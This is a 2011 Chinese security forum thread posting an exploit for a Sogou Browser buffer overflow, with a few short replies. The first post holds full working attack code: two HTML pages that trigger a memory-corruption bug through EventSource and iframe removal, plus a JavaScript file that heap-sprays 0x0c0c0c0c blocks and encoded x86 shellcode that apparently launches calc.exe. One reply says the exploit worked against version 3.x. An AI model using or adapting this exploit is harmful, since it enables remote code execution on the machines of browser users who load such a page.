# 搜狗浏览器缓冲区溢出漏洞EXP

**URL:** <https://forum.90sec.com/t/topic/3026>\
**Category:** 代码审计\
**Created:** [2011 年12 月 7 日 08:32 UTC](https://forum.90sec.com/t/topic/3026 "2011-12-07T08:32:21Z")\
**Posts on this page:** 8\
**Page:** 1

<div class="post-metadata">

作者： ![user16](https://forum.90sec.com/user_avatar/forum.90sec.com/user16/32/11346_2.png) [@user16](https://forum.90sec.com/u/user16)\
发布日期： [2011 年12 月 7 日 08:32 UTC](https://forum.90sec.com/t/topic/3026/1 "2011-12-07T08:32:21Z")

</div>

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

[code="xhtml"]  
\<!--test2.html--\>  
\<html\>  
\<body\>  
\<script\>  
top.source = new EventSource("aaat.htm");  
top.source.onerror = function(err) {  
top.finish();  
};  
\</script\>  
\</body\>  
\</html\>

* * *

\<!--test.html--\>  
\<html\>  
\<body\>  
\<iframe id="test" width="1" height="1"\> \</iframe\>  
\<script type="text/javascript" src="shellcode.js"\>\</script\>  
\<script\>  
var source;  
shellcode();  
function timer(){  
over();  
}  
function runTest(){  
document.getElementById("test").src = "test2.html";  
}  
function finish(){  
document.body.removeChild(document.getElementById("test"));  
setTimeout(timer,1000);  
//gc();  
}  
runTest();  
\</script\>  
\<A HREF="test.html"\> go \</A\>  
\</body\>  
\<html\>

* * *

[//shellcode.js](https://shellcode.js)

```javascript
function gc() {
    if (typeof GCController !== "undefined")
        GCController.collect();
    else {
        function gcRec(n) {
            if (n < 1)
                return {};
            var temp = {i: "ab" + i + (i / 100000)};
            temp += "foo";
            gcRec(n-1);
        }
        for (var i = 0; i < 1000; i++)
            gcRec(10)
    }
}
 
function shellcode() {
	var shell = unescape("%u6060%u96e9%u0000%u5600%uc931%u8b64%u3071%u768B%u8b0C%u1c76%u468b%u8b08%u207e%u368b%u3966%u184f%uf275%uc35e%u8b60%u246c%u8b24%u3c45%u548b%u7805%uea01%u4a8b%u8b18%u205a%ueb01%u37e3%u8b49%u8b34%uee01%uff31%uc031%uacfc%uc084%u0a74%ucfc1%u010d%ue9c7%ufff1%uffff%u7c3b%u2824%ude75%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%uadc3%u5250%ua7e8%uffff%u89ff%u8107%u08c4%u0000%u8100%u04c7%u0000%u3900%u75ce%uc3e6%u19e8%u0000%u9800%u8afe%u7e0e%ue2d8%u8173%u00ec%u0000%u8900%ue8e5%uff5d%uffff%uc289%ue2eb%u8d5e%u047d%uf189%uc181%u0008%u0000%ub6e8%uffff%uebff%u5b0e%uc031%u5350%u55ff%u9004%u6161%uc031%ue8c3%uffed%uffff%u6163%u636c%u652e%u6578%u0000");
	var block = unescape("%u0c0c%u0c0c");
	var nops = unescape("%u9090%u9090%u9090");
	while (block.length <0x4000) block += block;
      block=block.substring(0x90);
      memory = new Array(1000);
     var shellstr=new Array(3);
	   shellstr[0]=block;
         shellstr[1]=nops;
         shellstr[2]=shell;
         var i;
	for (i=0;i<0x1000;i++) memory[i] =shellstr.join(""); 
}
 function over(){
      var str=unescape("%u0c0c%u0c0c");
      var str=unescape("%u0c0c%u0c0c");
      strb="";
    for(i=0;i<0x10000;++i){
			if(i<0x40) strb=strb+str;
			var sdiv=document.createElement("div");
			sdiv.innerText=strb;
			if(source.readyState==0x0c0c0c0c) {     
				//alert("over ok! run calc.exe!");
				url=source.URL;
       }
    }
}

```

---

<div class="post-metadata">

作者： ![mOon](https://forum.90sec.com/letter_avatar_proxy/v4/letter/m/f07891/32.png) [@mOon](https://forum.90sec.com/u/mOon)\
发布日期： [2011 年12 月 7 日 09:07 UTC](https://forum.90sec.com/t/topic/3026/2 "2011-12-07T09:07:49Z")

</div>

{:4\_72:}

---

<div class="post-metadata">

作者： ![wugui](https://forum.90sec.com/user_avatar/forum.90sec.com/wugui/32/11351_2.png) [@wugui](https://forum.90sec.com/u/wugui)\
发布日期： [2011 年12 月 7 日 09:30 UTC](https://forum.90sec.com/t/topic/3026/3 "2011-12-07T09:30:59Z")

</div>

怎么利用。。参数。。

---

<div class="post-metadata">

作者： ![564402547](https://forum.90sec.com/letter_avatar_proxy/v4/letter/5/3ec8ea/32.png) [@564402547](https://forum.90sec.com/u/564402547)\
发布日期： [2011 年12 月 7 日 09:32 UTC](https://forum.90sec.com/t/topic/3026/4 "2011-12-07T09:32:08Z")

</div>

刚升级3.1呢{:4\_86:}

---

<div class="post-metadata">

作者： ![user16](https://forum.90sec.com/user_avatar/forum.90sec.com/user16/32/11346_2.png) [@user16](https://forum.90sec.com/u/user16)\
发布日期： [2011 年12 月 7 日 09:37 UTC](https://forum.90sec.com/t/topic/3026/5 "2011-12-07T09:37:26Z")

</div>

\*\*回复 [3#](http://www.90sec.org/redirect.php?goto=findpost&pid=8729&ptid=1001) _wugui_ \*\*

```
看见了你的头像 很不淡定了!!!

```

---

<div class="post-metadata">

作者： ![649334222](https://forum.90sec.com/letter_avatar_proxy/v4/letter/6/6bbea6/32.png) [@649334222](https://forum.90sec.com/u/649334222)\
发布日期： [2011 年12 月 12 日 04:44 UTC](https://forum.90sec.com/t/topic/3026/6 "2011-12-12T04:44:55Z")

</div>

\*\*回复 [5#](http://www.90sec.org/redirect.php?goto=findpost&pid=8731&ptid=1001) _葙守_ \*\*

```
{:4_48:} ·哇，心动不如行动

```

---

<div class="post-metadata">

作者： ![debugz3r0](https://forum.90sec.com/letter_avatar_proxy/v4/letter/d/41988e/32.png) [@debugz3r0](https://forum.90sec.com/u/debugz3r0)\
发布日期： [2011 年12 月 12 日 08:34 UTC](https://forum.90sec.com/t/topic/3026/7 "2011-12-12T08:34:52Z")

</div>

{:4\_72:}求fuzz细节

---

<div class="post-metadata">

作者： ![Agile](https://forum.90sec.com/user_avatar/forum.90sec.com/agile/32/11326_2.png) [@Agile](https://forum.90sec.com/u/Agile)\
发布日期： [2011 年12 月 12 日 09:54 UTC](https://forum.90sec.com/t/topic/3026/8 "2011-12-12T09:54:32Z")

</div>

貌似只对3.几的有用去了 前面测试了 确实是成功了
